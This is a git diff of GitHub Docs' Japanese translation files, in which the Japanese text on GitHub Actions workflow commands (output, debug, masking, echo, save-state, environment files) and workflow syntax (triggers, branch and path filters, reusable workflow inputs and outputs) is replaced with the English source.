output parameter. -あるいは、出力パラメータをアクションのメタデータファイル中で宣言することもできます。 詳しい情報については、「[{% data variables.product.prodname_actions %} のメタデータ構文](/articles/metadata-syntax-for-github-actions#outputs)」を参照してください。 +Optionally, you can also declare output parameters in an action's metadata file. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs)." -### サンプル +### Example ``` bash echo "::set-output name=action_fruit::strawberry" ``` -## デバッグメッセージの設定 +## Setting a debug message ``` ::debug::{message} ``` -デバッグメッセージをログに出力します。 ログでこのコマンドにより設定されたデバッグメッセージを表示するには、`ACTIONS_STEP_DEBUG` という名前のシークレットを作成し、値を `true` に設定する必要があります。 詳しい情報については、「[デバッグログの有効化](/actions/managing-workflow-runs/enabling-debug-logging)」を参照してください。 +Prints a debug message to the log. You must create a secret named `ACTIONS_STEP_DEBUG` with the value `true` to see the debug messages set by this command in the log. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging)." -### サンプル +### Example ``` bash echo "::debug::Set the Octocat variable" @@ -125,7 +125,7 @@ Creates a notice message and prints the message to the log. {% data reusables.ac {% data reusables.actions.message-parameters %} -### サンプル +### Example ``` bash echo "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon" @@ -133,48 +133,48 @@ echo "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon" {% endif %} -## 警告メッセージの設定 +## Setting a warning message ``` ::warning file={name},line={line},endLine={endLine},title={title}::{message} ``` -警告メッセージを作成し、ログにそのメッセージを出力します。 {% data reusables.actions.message-annotation-explanation %} +Creates a warning message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %} {% data reusables.actions.message-parameters %} -### サンプル +### Example ``` bash echo "::warning file=app.js,line=1,col=5,endColumn=7::Missing semicolon" ``` -## エラーメッセージの設定 +## Setting an error message ``` ::error file={name},line={line},endLine={endLine},title={title}::{message} ``` -エラーメッセージを作成し、ログにそのメッセージを出力します。 {% data reusables.actions.message-annotation-explanation %} +Creates an error message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %} {% data reusables.actions.message-parameters %} -### サンプル +### Example ``` bash echo "::error file=app.js,line=1,col=5,endColumn=7::Missing semicolon" ``` -## ログの行のグループ化 +## Grouping log lines ``` ::group::{title} ::endgroup:: ``` -展開可能なグループをログ中に作成します。 グループを作成するには、`group`コマンドを使って`title`を指定してください。 `group`と`endgroup`コマンド間でログに出力したすべての内容は、ログ中の展開可能なエントリ内にネストされます。 +Creates an expandable group in the log. To create a group, use the `group` command and specify a `title`. Anything you print to the log between the `group` and `endgroup` commands is nested inside an expandable entry in the log. -### サンプル +### Example ```bash echo "::group::My title" @@ -182,38 +182,38 @@ echo "Inside group" echo "::endgroup::" ``` -![ワークフローの実行ログ中の折りたたみ可能なグループ](/assets/images/actions-log-group.png) +![Foldable group in workflow run log](/assets/images/actions-log-group.png) -## ログ中での値のマスク +## Masking a value in log ``` ::add-mask::{value} ``` -値をマスクすることにより、文字列または値がログに出力されることを防ぎます。 空白で分離された、マスクされた各語は "`*`" という文字で置き換えられます。 マスクの `value` には、環境変数または文字列を持ちいることができます。 +Masking a value prevents a string or variable from being printed in the log. Each masked word separated by whitespace is replaced with the `*` character. You can use an environment variable or string for the mask's `value`. -### 文字列をマスクするサンプル +### Example masking a string -ログに `"Mona The Octocat"` を出力すると、`"***"` が表示されます。 +When you print `"Mona The Octocat"` in the log, you'll see `"***"`. ```bash echo "::add-mask::Mona The Octocat" ``` -### 環境変数をマスクするサンプル +### Example masking an environment variable -変数 `MY_NAME` または値 `"Mona The Octocat"` をログに出力すると。`"Mona The Octocat"` の代わりに `"***"` が表示されます。 +When you print the variable `MY_NAME` or the value `"Mona The Octocat"` in the log, you'll see `"***"` instead of `"Mona The Octocat"`. ```bash MY_NAME="Mona The Octocat" echo "::add-mask::$MY_NAME" ``` -## ワークフローコマンドの停止と開始 +## Stopping and starting workflow commands `::stop-commands::{endtoken}` -ワークフローコマンドの処理を停止します。 この特殊コマンドを使うと、意図せずワークフローコマンドを実行することなくいかなるログも取れます。 たとえば、コメントがあるスクリプト全体を出力するためにログ取得を停止できます。 +Stops processing any workflow commands. This special command allows you to log anything without accidentally running a workflow command. For example, you could stop logging to output an entire script that has comments. To stop the processing of workflow commands, pass a unique token to `stop-commands`. To resume processing workflow commands, pass the same token that you used to stop workflow commands. @@ -247,33 +247,73 @@ jobs: {% endraw %} -## pre及びpostアクションへの値の送信 +## Echoing command outputs -`save-state`コマンドを使って、ワークフローの`pre:`あるいは`post:`アクションと共有するための環境変数を作成できます。 たとえば、`pre:`アクションでファイルを作成し、そのファイルの場所を`main:`アクションに渡し、`post:`アクションを使ってそのファイルを削除できます。 あるいは、ファイルを`main:`アクションで作成し、そのファイルの場所を`post:`アクションに渡し、`post:`アクションを使ってそのファイルを削除することもできます。 +``` +::echo::on +::echo::off +``` -複数の`pre:`あるいは`post:`アクションがある場合、保存された値にアクセスできるのは`save-state`が使われたアクションの中でのみです。 `post:`アクションに関する詳しい情報については「[{% data variables.product.prodname_actions %}のためのメタデータ構文](/actions/creating-actions/metadata-syntax-for-github-actions#post)」を参照してください。 +Enables or disables echoing of workflow commands. For example, if you use the `set-output` command in a workflow, it sets an output parameter but the workflow run's log does not show the command itself. If you enable command echoing, then the log shows the command, such as `::set-output name={name}::{value}`. -`save-state`コマンドはアクション内でしか実行できず、YAMLファイルでは利用できません。 保存された値は、`STATE_`プレフィックス付きで環境変数として保存されます。 +Command echoing is disabled by default. However, a workflow command is echoed if there are any errors processing the command. -以下の例はJavaScriptを使って`save-state`コマンドを実行します。 結果の環境変数は`STATE_processID`という名前になり、`12345`という値を持ちます。 +The `add-mask`, `debug`, `warning`, and `error` commands do not support echoing because their outputs are already echoed to the log. + +You can also enable command echoing globally by turning on step debug logging using the `ACTIONS_STEP_DEBUG` secret. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging)". In contrast, the `echo` workflow command lets you enable command echoing at a more granular level, rather than enabling it for every workflow in a repository. + +### Example toggling command echoing + +```yaml +jobs: + workflow-command-job: + runs-on: ubuntu-latest + steps: + - name: toggle workflow command echoing + run: | + echo '::set-output name=action_echo::disabled' + echo '::echo::on' + echo '::set-output name=action_echo::enabled' + echo '::echo::off' + echo '::set-output name=action_echo::disabled' +``` + +The step above prints the following lines to the log: + +``` +::set-output name=action_echo::enabled +::echo::off +``` + +Only the second `set-output` and `echo` workflow commands are included in the log because command echoing was only enabled when they were run. Even though it is not always echoed, the output parameter is set in all cases. + +## Sending values to the pre and post actions + +You can use the `save-state` command to create environment variables for sharing with your workflow's `pre:` or `post:` actions. For example, you can create a file with the `pre:` action, pass the file location to the `main:` action, and then use the `post:` action to delete the file. Alternatively, you could create a file with the `main:` action, pass the file location to the `post:` action, and also use the `post:` action to delete the file. + +If you have multiple `pre:` or `post:` actions, you can only access the saved value in the action where `save-state` was used. For more information on the `post:` action, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#post)." + +The `save-state` command can only be run within an action, and is not available to YAML files. The saved value is stored as an environment value with the `STATE_` prefix. + +This example uses JavaScript to run the `save-state` command. The resulting environment variable is named `STATE_processID` with the value of `12345`: ``` javascript console.log('::save-state name=processID::12345') ``` -そして、`STATE_processID`変数は`main`アクションの下で実行されるクリーンアップスクリプトからのみ利用できます。 以下の例は`main`を実行し、JavaScriptを使って環境変数`STATE_processID`に割り当てられた値を表示します。 +The `STATE_processID` variable is then exclusively available to the cleanup script running under the `main` action. This example runs in `main` and uses JavaScript to display the value assigned to the `STATE_processID` environment variable: ``` javascript console.log("The running PID from the main action is: " + process.env.STATE_processID); ``` -## 環境ファイル +## Environment Files -ワークフローの実行中に、ランナーは特定のアクションを実行する際に使用できる一時ファイルを生成します。 これらのファイルへのパスは、環境変数を介して公開されます。 コマンドを適切に処理するには、これらのファイルに書き込むときに UTF-8 エンコーディングを使用する必要があります。 複数のコマンドを、改行で区切って同じファイルに書き込むことができます。 +During the execution of a workflow, the runner generates temporary files that can be used to perform certain actions. The path to these files are exposed via environment variables. You will need to use UTF-8 encoding when writing to these files to ensure proper processing of the commands. Multiple commands can be written to the same file, separated by newlines. {% warning %} -**Warning:** On Windows, legacy PowerShell (`shell: powershell`) does not use UTF-8 by default. 正しいエンコーディングを使用してファイルを書き込むようにしてください。 たとえば、パスを設定するときに UTF-8 エンコーディングを設定する必要があります。 +**Warning:** On Windows, legacy PowerShell (`shell: powershell`) does not use UTF-8 by default. Make sure you write files using the correct encoding. For example, you need to set UTF-8 encoding when you set the path: ```yaml jobs: @@ -284,7 +324,7 @@ jobs: run: echo "mypath" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append ``` -Or switch to PowerShell Core, which defaults to UTF-8: +Or switch to PowerShell Core, which defaults to UTF-8: ```yaml jobs: @@ -298,18 +338,17 @@ jobs: More detail about UTF-8 and PowerShell Core found on this great [Stack Overflow answer](https://stackoverflow.com/a/40098904/162694): > ### Optional reading: The cross-platform perspective: PowerShell _Core_: -> -> [PowerShell is now cross-platform](https://blogs.msdn.microsoft.com/powershell/2016/08/18/powershell-on-linux-and-open-source-2/), via its **[PowerShell _Core_](https://github.com/PowerShell/PowerShell)** edition, whose encoding - sensibly - ***defaults to ***BOM-less UTF-8******, in line with Unix-like platforms. +> [PowerShell is now cross-platform](https://blogs.msdn.microsoft.com/powershell/2016/08/18/powershell-on-linux-and-open-source-2/), via its **[PowerShell _Core_](https://github.com/PowerShell/PowerShell)** edition, whose encoding - sensibly - **defaults to *BOM-less UTF-8***, in line with Unix-like platforms. {% endwarning %} -## 環境変数の設定 +## Setting an environment variable ``` bash echo "{name}={value}" >> $GITHUB_ENV ``` -Creates or updates an environment variable for any steps running next in a job. The step that creates or updates the environment variable does not have access to the new value, but all subsequent steps in a job will have access. 環境変数では、大文字と小文字が区別され、句読点を含めることができます。 +Creates or updates an environment variable for any steps running next in a job. The step that creates or updates the environment variable does not have access to the new value, but all subsequent steps in a job will have access. Environment variables are case-sensitive and you can include punctuation. {% note %} @@ -317,7 +356,7 @@ Creates or updates an environment variable for any steps running next in a job. {% endnote %} -### サンプル +### Example {% raw %} ``` @@ -333,9 +372,9 @@ steps: ``` {% endraw %} -### 複数行の文字列 +### Multiline strings -複数行の文字列の場合、次の構文で区切り文字を使用できます。 +For multiline strings, you may use a delimiter with the following syntax. ``` {name}<<{delimiter} @@ -343,9 +382,9 @@ steps: {delimiter} ``` -#### サンプル +#### Example -この例では、区切り文字として `EOF` を使用し、`JSON_RESPONSE` 環境変数を cURL レスポンスの値に設定します。 +In this example, we use `EOF` as a delimiter and set the `JSON_RESPONSE` environment variable to the value of the curl response. ```yaml steps: - name: Set the value @@ -356,17 +395,17 @@ steps: echo 'EOF' >> $GITHUB_ENV ``` -## システムパスの追加 +## Adding a system path ``` bash echo "{path}" >> $GITHUB_PATH ``` -Prepends a directory to the system `PATH` variable and automatically makes it available to all subsequent actions in the current job; the currently running action cannot access the updated path variable. ジョブに現在定義されているパスを見るには、ステップもしくはアクション中で`echo "$PATH"`を使うことができます。 +Prepends a directory to the system `PATH` variable and automatically makes it available to all subsequent actions in the current job; the currently running action cannot access the updated path variable. To see the currently defined paths for your job, you can use `echo "$PATH"` in a step or an action. -### サンプル +### Example -この例は、ユーザの`$HOME/.local/bin`ディレクトリを`PATH`に追加する方法を示しています。 +This example demonstrates how to add the user `$HOME/.local/bin` directory to `PATH`: ``` bash echo "$HOME/.local/bin" >> $GITHUB_PATH diff --git a/translations/ja-JP/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md b/translations/ja-JP/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md index c40b4caced..1e65fc3ac3 100644 --- a/translations/ja-JP/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md +++ b/translations/ja-JP/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md @@ -1,7 +1,7 @@ --- -title: GitHub Actionsのワークフロー構文 -shortTitle: ワークフロー構文 -intro: ワークフローは、1つ以上のジョブからなる設定可能な自動化プロセスです。 ワークフローの設定を定義するには、YAMLファイルを作成しなければなりません。 +title: Workflow syntax for GitHub Actions +shortTitle: Workflow syntax +intro: A workflow is a configurable automated process made up of one or more jobs. You must create a YAML file to define your workflow configuration. redirect_from: - /articles/workflow-syntax-for-github-actions - /github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions @@ -18,27 +18,27 @@ versions: {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## ワークフロー用のYAML構文について +## About YAML syntax for workflows -ワークフローファイルはYAML構文を使用し、ファイル拡張子が`.yml`または`.yaml`である必要があります。 {% data reusables.actions.learn-more-about-yaml %} +Workflow files use YAML syntax, and must have either a `.yml` or `.yaml` file extension. {% data reusables.actions.learn-more-about-yaml %} -ワークフローファイルは、リポジトリの`.github/workflows`ディレクトリに保存する必要があります。 +You must store workflow files in the `.github/workflows` directory of your repository. ## `name` -ワークフローの名前。 {% data variables.product.prodname_dotcom %}では、リポジトリのアクションページにワークフローの名前が表示されます。 `name`を省略すると、{% data variables.product.prodname_dotcom %}はリポジトリのルートに対するワークフローファイルの相対パスをその値に設定します。 +The name of your workflow. {% data variables.product.prodname_dotcom %} displays the names of your workflows on your repository's actions page. If you omit `name`, {% data variables.product.prodname_dotcom %} sets it to the workflow file path relative to the root of the repository. ## `on` -**必須**。 ワークフローをトリガーする{% data variables.product.prodname_dotcom %}イベントの名前。 指定できるのは、1つのイベント`string`、複数イベントの`array`、イベント`types`の`array`です。あるいは、ワークフローをスケジュールする、またはワークフロー実行を特定のファイルやタグ、ブランチ変更に限定するイベント設定`map`も指定できます。 使用可能なイベントの一覧は、「[ワークフローをトリガーするイベント](/articles/events-that-trigger-workflows)」を参照してください。 +**Required**. The name of the {% data variables.product.prodname_dotcom %} event that triggers the workflow. You can provide a single event `string`, `array` of events, `array` of event `types`, or an event configuration `map` that schedules a workflow or restricts the execution of a workflow to specific files, tags, or branch changes. For a list of available events, see "[Events that trigger workflows](/articles/events-that-trigger-workflows)." {% data reusables.github-actions.actions-on-examples %} ## `on..types` -ワークフローの実行をトリガーする特定のアクティビティ。 ほとんどの GitHub イベントは、2 つ以上のアクティビティタイプからトリガーされます。 たとえば、releaseリソースに対するイベントは、release が `published`、`unpublished`、`created`、`edited`、`deleted`、または `prereleased` の場合にトリガーされます。 `types`キーワードを使用すると、ワークフローを実行させるアクティブの範囲を狭くすることができます。 webhook イベントをトリガーするアクティビティタイプが1つだけの場合、`types`キーワードは不要です。 +Selects the types of activity that will trigger a workflow run. Most GitHub events are triggered by more than one type of activity. For example, the event for the release resource is triggered when a release is `published`, `unpublished`, `created`, `edited`, `deleted`, or `prereleased`. The `types` keyword enables you to narrow down activity that causes the workflow to run. When only one activity type triggers a webhook event, the `types` keyword is unnecessary. -イベント`types`の配列を使用できます。 各イベントとそのアクティビティタイプの詳細については、「[ワークフローをトリガーするイベント](/articles/events-that-trigger-workflows#webhook-events)」を参照してください。 +You can use an array of event `types`. For more information about each event and their activity types, see "[Events that trigger workflows](/articles/events-that-trigger-workflows#webhook-events)." ```yaml # Trigger the workflow on release activity @@ -50,34 +50,34 @@ on: ## `on..` -`push`および`pull_request`イベントを使用する場合、特定のブランチまたはタグで実行するワークフローを設定できます。 `pull_request`では、ベース上のブランチ及びタグだけが評価されます。 `tags`もしくは`branches`だけを定義すると、定義されていないGit refに影響するイベントに対して、ワークフローが実行されません。 +When using the `push` and `pull_request` events, you can configure a workflow to run on specific branches or tags. For a `pull_request` event, only branches and tags on the base are evaluated. If you define only `tags` or only `branches`, the workflow won't run for events affecting the undefined Git ref. The `branches`, `branches-ignore`, `tags`, and `tags-ignore` keywords accept glob patterns that use characters like `*`, `**`, `+`, `?`, `!` and others to match more than one branch or tag name. If a name contains any of these characters and you want a literal match, you need to *escape* each of these special characters with `\`. For more information about glob patterns, see the "[Filter pattern cheat sheet](#filter-pattern-cheat-sheet)." ### Example: Including branches and tags -`branches`および`tags`で定義されているパターンは、Git refの名前と照らし合わせて評価されます。 たとえば、`branches`で`mona/octocat`とパターンを定義すると、`refs/heads/mona/octocat`というGit refにマッチします。 `releases/**`というパターンは、`refs/heads/releases/10`というGit refにマッチします。 +The patterns defined in `branches` and `tags` are evaluated against the Git ref's name. For example, defining the pattern `mona/octocat` in `branches` will match the `refs/heads/mona/octocat` Git ref. The pattern `releases/**` will match the `refs/heads/releases/10` Git ref. ```yaml on: push: - # refs/heads とマッチするパターンのシークエンス + # Sequence of patterns matched against refs/heads branches: - # メインブランチのプッシュイベント + # Push events on main branch - main - # refs/heads/mona/octocat に一致するブランチにイベントをプッシュする + # Push events to branches matching refs/heads/mona/octocat - 'mona/octocat' - # refs/heads/releases/10 に一致するブランチにイベントをプッシュする + # Push events to branches matching refs/heads/releases/10 - 'releases/**' - # refs/tags とマッチするパターンのシーケンス + # Sequence of patterns matched against refs/tags tags: - - v1 # イベントを v1 タグにプッシュする - - v1.* # イベントを v1.0、v1.1、および v1.9 タグにプッシュする + - v1 # Push events to v1 tag + - v1.* # Push events to v1.0, v1.1, and v1.9 tags ``` ### Example: Ignoring branches and tags -パターンが`branches-ignore`または`tags-ignore`とマッチする場合は常に、ワークフローは実行されません。 `branches-ignore`および`tags-ignore`で定義されているパターンは、Git refの名前と照らし合わせて評価されます。 たとえば、`branches`で`mona/octocat`とパターンを定義すると、`refs/heads/mona/octocat`というGit refにマッチします。 `branches`のパターン`releases/**-alpha`は、`refs/releases/beta/3-alpha`というGit refにマッチします。 +Anytime a pattern matches the `branches-ignore` or `tags-ignore` pattern, the workflow will not run. The patterns defined in `branches-ignore` and `tags-ignore` are evaluated against the Git ref's name. For example, defining the pattern `mona/octocat` in `branches` will match the `refs/heads/mona/octocat` Git ref. The pattern `releases/**-alpha` in `branches` will match the `refs/releases/beta/3-alpha` Git ref. ```yaml on: @@ -93,19 +93,19 @@ on: - v1.* # Do not push events to tags v1.0, v1.1, and v1.9 ``` -### ブランチとタグを除外する +### Excluding branches and tags -タグやブランチへのプッシュおよびプルリクエストでワークフローが実行されることを防ぐために、2 種類のフィルタを使うことができます。 -- `branches` または `branches-ignore` - ワークフロー内の同じイベントに対して、`branches` と `branches-ignore` のフィルタを両方使うことはできません。 肯定のマッチに対してブランチをフィルタし、ブランチを除外する必要がある場合は、`branches` フィルタを使います。 ブランチ名のみを除外する必要がある場合は、`branches-ignore` フィルタを使います。 -- `tags` または `tags-ignore` - ワークフロー内の同じイベントに対して、`tags` と `tags-ignore` のフィルタを両方使うことはできません。 肯定のマッチに対してタグをフィルタし、タグを除外する必要がある場合は、`tags` フィルタを使います。 タグ名のみを除外する必要がある場合は、`tags-ignore` フィルタを使います。 +You can use two types of filters to prevent a workflow from running on pushes and pull requests to tags and branches. +- `branches` or `branches-ignore` - You cannot use both the `branches` and `branches-ignore` filters for the same event in a workflow. Use the `branches` filter when you need to filter branches for positive matches and exclude branches. Use the `branches-ignore` filter when you only need to exclude branch names. +- `tags` or `tags-ignore` - You cannot use both the `tags` and `tags-ignore` filters for the same event in a workflow. Use the `tags` filter when you need to filter tags for positive matches and exclude tags. Use the `tags-ignore` filter when you only need to exclude tag names. ### Example: Using positive and negative patterns -"`!`" の文字を使うことで、`tags` と `branches` を除外できます。 パターンを定義する順序により、結果に違いが生じます。 - - 肯定のマッチングパターンの後に否定のマッチングパターン ("`!`" のプレフィクス) を定義すると、Git ref を除外します。 - - 否定のマッチングパターンの後に肯定のマッチングパターンを定義すると、Git ref を再び含めます。 +You can exclude `tags` and `branches` using the `!` character. The order that you define patterns matters. + - A matching negative pattern (prefixed with `!`) after a positive match will exclude the Git ref. + - A matching positive pattern after a negative match will include the Git ref again. -以下のワークフローは、`releases/10` や `releases/beta/mona` へのプッシュで実行されますが、`releases/10-alpha` や `releases/beta/3-alpha` へのプッシュでは実行されません。肯定のマッチングパターンの後に、否定のマッチングパターン `!releases/**-alpha` が続いているからです。 +The following workflow will run on pushes to `releases/10` or `releases/beta/mona`, but not on `releases/10-alpha` or `releases/beta/3-alpha` because the negative pattern `!releases/**-alpha` follows the positive pattern. ```yaml on: @@ -117,13 +117,13 @@ on: ## `on..paths` -`push` および `pull_request` イベントを使用する場合、1 つ以上の変更されたファイルが `paths-ignore` にマッチしない場合や、1 つ以上の変更されたファイルが、設定された `paths` にマッチする場合にワークフローを実行するように設定できます。 タグへのプッシュに対して、パスのフィルタは評価されません。 +When using the `push` and `pull_request` events, you can configure a workflow to run when at least one file does not match `paths-ignore` or at least one modified file matches the configured `paths`. Path filters are not evaluated for pushes to tags. -`paths-ignore` および `paths` キーワードは、`*` と `**` のワイルドカード文字を使って複数のパス名と一致させる glob パターンを受け付けます。 詳しい情報については、「[フィルタパターンのチートシート](#filter-pattern-cheat-sheet)」を参照してください。 +The `paths-ignore` and `paths` keywords accept glob patterns that use the `*` and `**` wildcard characters to match more than one path name. For more information, see the "[Filter pattern cheat sheet](#filter-pattern-cheat-sheet)." ### Example: Ignoring paths -すべてのパス名が `paths-ignore` のパターンと一致する場合、ワークフローは実行されません。 {% data variables.product.prodname_dotcom %} は、`paths-ignore` に定義されているパターンを、パス名に対して評価します。 以下のパスフィルタを持つワークフローは、リポジトリのルートにある `docs`ディレクトリ外のファイルを少なくとも1つ含む`push`イベントでのみ実行されます。 +When all the path names match patterns in `paths-ignore`, the workflow will not run. {% data variables.product.prodname_dotcom %} evaluates patterns defined in `paths-ignore` against the path name. A workflow with the following path filter will only run on `push` events that include at least one file outside the `docs` directory at the root of the repository. ```yaml on: @@ -134,7 +134,7 @@ on: ### Example: Including paths -`paths`フィルタのパターンにマッチするパスが1つでもあれば、ワークフローは実行されます。 JavaScriptファイルをプッシュしたときにビルドを走らせるには、ワイルドカードパターンが使えます。 +If at least one path matches a pattern in the `paths` filter, the workflow runs. To trigger a build anytime you push a JavaScript file, you can use a wildcard pattern. ```yaml on: @@ -143,19 +143,19 @@ on: - '**.js' ``` -### パスの除外 +### Excluding paths -パスは、2種類のフィルタで除外できます。 これらのフィルタをワークフロー内の同じイベントで両方使うことはできません。 -- `paths-ignore` - パス名を除外する必要だけがある場合には`paths-ignore`フィルタを使ってください。 -- `paths` - 肯定のマッチのパスとパスの除外のフィルタが必要な場合は`paths`フィルタを使ってください。 +You can exclude paths using two types of filters. You cannot use both of these filters for the same event in a workflow. +- `paths-ignore` - Use the `paths-ignore` filter when you only need to exclude path names. +- `paths` - Use the `paths` filter when you need to filter paths for positive matches and exclude paths. ### Example: Using positive and negative patterns -`!`文字を使って、`paths`を除外できます。 パターンを定義する順序により、結果に違いが生じます: - - 肯定のマッチの後に否定のマッチングパターン（`!`がプレフィックスされている）を置くと、パスが除外されます。 - - 否定のマッチングパターンの後に肯定のマッチングパターンを定義すると、パスを再び含めます。 +You can exclude `paths` using the `!` character. The order that you define patterns matters: + - A matching negative pattern (prefixed with `!`) after a positive match will exclude the path. + - A matching positive pattern after a negative match will include the path again. -この例は、`push`イベントに`sub-project`ディレクトリあるいはそのサブディレクトリ内のファイルが含まれ、そのファイルが`sub-project/docs`ディレクトリ内にあるのでない場合に実行されます。 たとえば`sub-project/index.js`もしくは`sub-project/src/index.js`を変更するプッシュはワークフローを実行させますが、`sub-project/docs/readme.md`だけを変更するプッシュは実行させません。 +This example runs anytime the `push` event includes a file in the `sub-project` directory or its subdirectories, unless the file is in the `sub-project/docs` directory. For example, a push that changed `sub-project/index.js` or `sub-project/src/index.js` will trigger a workflow run, but a push changing only `sub-project/docs/readme.md` will not. ```yaml on: @@ -165,7 +165,7 @@ on: - '!sub-project/docs/**' ``` -### Git diffの比較 +### Git diff comparisons {% note %} @@ -173,21 +173,21 @@ on: {% endnote %} -フィルタは、変更されたファイルを`paths-ignore`あるいは`paths`リストに対して評価することによって、ワークフローを実行すべきか判断します。 ファイルが変更されていない場合、ワークフローは実行されません。 +The filter determines if a workflow should run by evaluating the changed files and running them against the `paths-ignore` or `paths` list. If there are no files changed, the workflow will not run. -{% data variables.product.prodname_dotcom %}はプッシュに対してはツードットdiff、プルリクエストに対してはスリードットdiffを使って変更されたファイルのリストを生成します。 -- **Pull Request：** スリードットdiffは、トピックブランチの最新バージョンとトピックブランチがベースブランチと最後に同期されたコミットとの比較です。 -- **既存のブランチへのプッシュ：** ツードットdiffは、headとベースのSHAを互いに直接比較します。 -- **新しいブランチへのプッシュ：** 最も深いプッシュの先祖の親に対するツードットdiffです。 +{% data variables.product.prodname_dotcom %} generates the list of changed files using two-dot diffs for pushes and three-dot diffs for pull requests: +- **Pull requests:** Three-dot diffs are a comparison between the most recent version of the topic branch and the commit where the topic branch was last synced with the base branch. +- **Pushes to existing branches:** A two-dot diff compares the head and base SHAs directly with each other. +- **Pushes to new branches:** A two-dot diff against the parent of the ancestor of the deepest commit pushed. Diffs are limited to 300 files. If there are files changed that aren't matched in the first 300 files returned by the filter, the workflow will not run. You may need to create more specific filters so that the workflow will run automatically. -詳しい情報については「[プルリクエスト中のブランチの比較について](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)」を参照してください。 +For more information, see "[About comparing branches in pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)." {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} ## `on.workflow_call.inputs` -When using the `workflow_call` keyword, you can optionally specify inputs that are passed to the called workflow from the caller workflow. Inputs for reusable workflows are specified with the same format as action inputs. For more information about inputs, see "[Metadata syntax for GitHub Actions](/actions/creating-actions/metadata-syntax-for-github-actions#inputs)." For more information about the `workflow_call` keyword, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows#workflow-reuse-events)." +When using the `workflow_call` keyword, you can optionally specify inputs that are passed to the called workflow from the caller workflow. For more information about the `workflow_call` keyword, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows#workflow-reuse-events)." In addition to the standard input parameters that are available, `on.workflow_call.inputs` requires a `type` parameter. For more information, see [`on.workflow_call.inputs..type`](#onworkflow_callinputsinput_idtype). @@ -197,7 +197,7 @@ Within the called workflow, you can use the `inputs` context to refer to an inpu If a caller workflow passes an input that is not specified in the called workflow, this results in an error. -### サンプル +### Example {% raw %} ```yaml @@ -209,7 +209,7 @@ on: default: 'john-doe' required: false type: string - + jobs: print-username: runs-on: ubuntu-latest @@ -226,6 +226,31 @@ For more information, see "[Reusing workflows](/actions/learn-github-actions/reu Required if input is defined for the `on.workflow_call` keyword. The value of this parameter is a string specifying the data type of the input. This must be one of: `boolean`, `number`, or `string`. +## `on.workflow_call.outputs` + +A map of outputs for a called workflow. Called workflow outputs are available to all downstream jobs in the caller workflow. Each output has an identifier, an optional `description,` and a `value.` The `value` must be set to the value of an output from a job within the called workflow. + +In the example below, two outputs are defined for this reusable workflow: `workflow_output1` and `workflow_output2`. These are mapped to outputs called `job_output1` and `job_output2`, both from a job called `my_job`. + +### Example + +{% raw %} +```yaml +on: + workflow_call: + # Map the workflow outputs to job outputs + outputs: + workflow_output1: + description: "The first job output" + value: ${{ jobs.my_job.outputs.job_output1 }} + workflow_output2: + description: "The second job output" + value: ${{ jobs.my_job.outputs.job_output2 }} +``` +{% endraw %} + +For information on how to reference a job output, see [`jobs..outputs`](#jobsjob_idoutputs). For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." + ## `on.workflow_call.secrets` A map of the secrets that can be used in the called workflow. @@ -234,7 +259,7 @@ Within the called workflow, you can use the `secrets` context to refer to a secr If a caller workflow passes a secret that is not specified in the called workflow, this results in an error. -### サンプル +### Example {% raw %} ```yaml @@ -244,7 +269,7 @@ on: access-token: description: 'A token passed from the caller workflow' required: false - + jobs: pass-secret-to-action: runs-on: ubuntu-latest @@ -259,7 +284,7 @@ jobs: ## `on.workflow_call.secrets.` -A string identifier to associate with the secret. +A string identifier to associate with the secret. ## `on.workflow_call.secrets..required` @@ -268,7 +293,7 @@ A boolean specifying whether the secret must be supplied. ## `on.workflow_dispatch.inputs` -When using the `workflow_dispatch` event, you can optionally specify inputs that are passed to the workflow. Workflow dispatch inputs are specified with the same format as action inputs. For more information about the format see "[Metadata syntax for GitHub Actions](/actions/creating-actions/metadata-syntax-for-github-actions#inputs)." +When using the `workflow_dispatch` event, you can optionally specify inputs that are passed to the workflow. ```yaml on: @@ -277,33 +302,43 @@ on: logLevel: description: 'Log level' required: true - default: 'warning' + default: 'warning' {% ifversion ghec or ghes > 3.3 or ghae-issue-5511 %} + type: choice + options: + - info + - warning + - debug {% endif %} tags: description: 'Test scenario tags' - required: false + required: false {% ifversion ghec or ghes > 3.3 or ghae-issue-5511 %} + type: boolean + environment: + description: 'Environment to run tests against' + type: environment + required: true {% endif %} ``` -The triggered workflow receives the inputs in the `github.event.inputs` context. 詳細については、「[コンテキスト](/actions/learn-github-actions/contexts#github-context)」を参照してください。 +The triggered workflow receives the inputs in the `github.event.inputs` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." ## `on.schedule` {% data reusables.repositories.actions-scheduled-workflow-example %} -cron構文に関する詳しい情報については、「[ワークフローをトリガーするイベント](/actions/automating-your-workflow-with-github-actions/events-that-trigger-workflows#scheduled-events)」を参照してください。 +For more information about cron syntax, see "[Events that trigger workflows](/actions/automating-your-workflow-with-github-actions/events-that-trigger-workflows#scheduled-events)." {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} ## `permissions` -`GITHUB_TOKEN` に付与されているデフォルトの権限を変更し、必要に応じてアクセスを追加または削除して、必要最小限のアクセスのみを許可することができます。 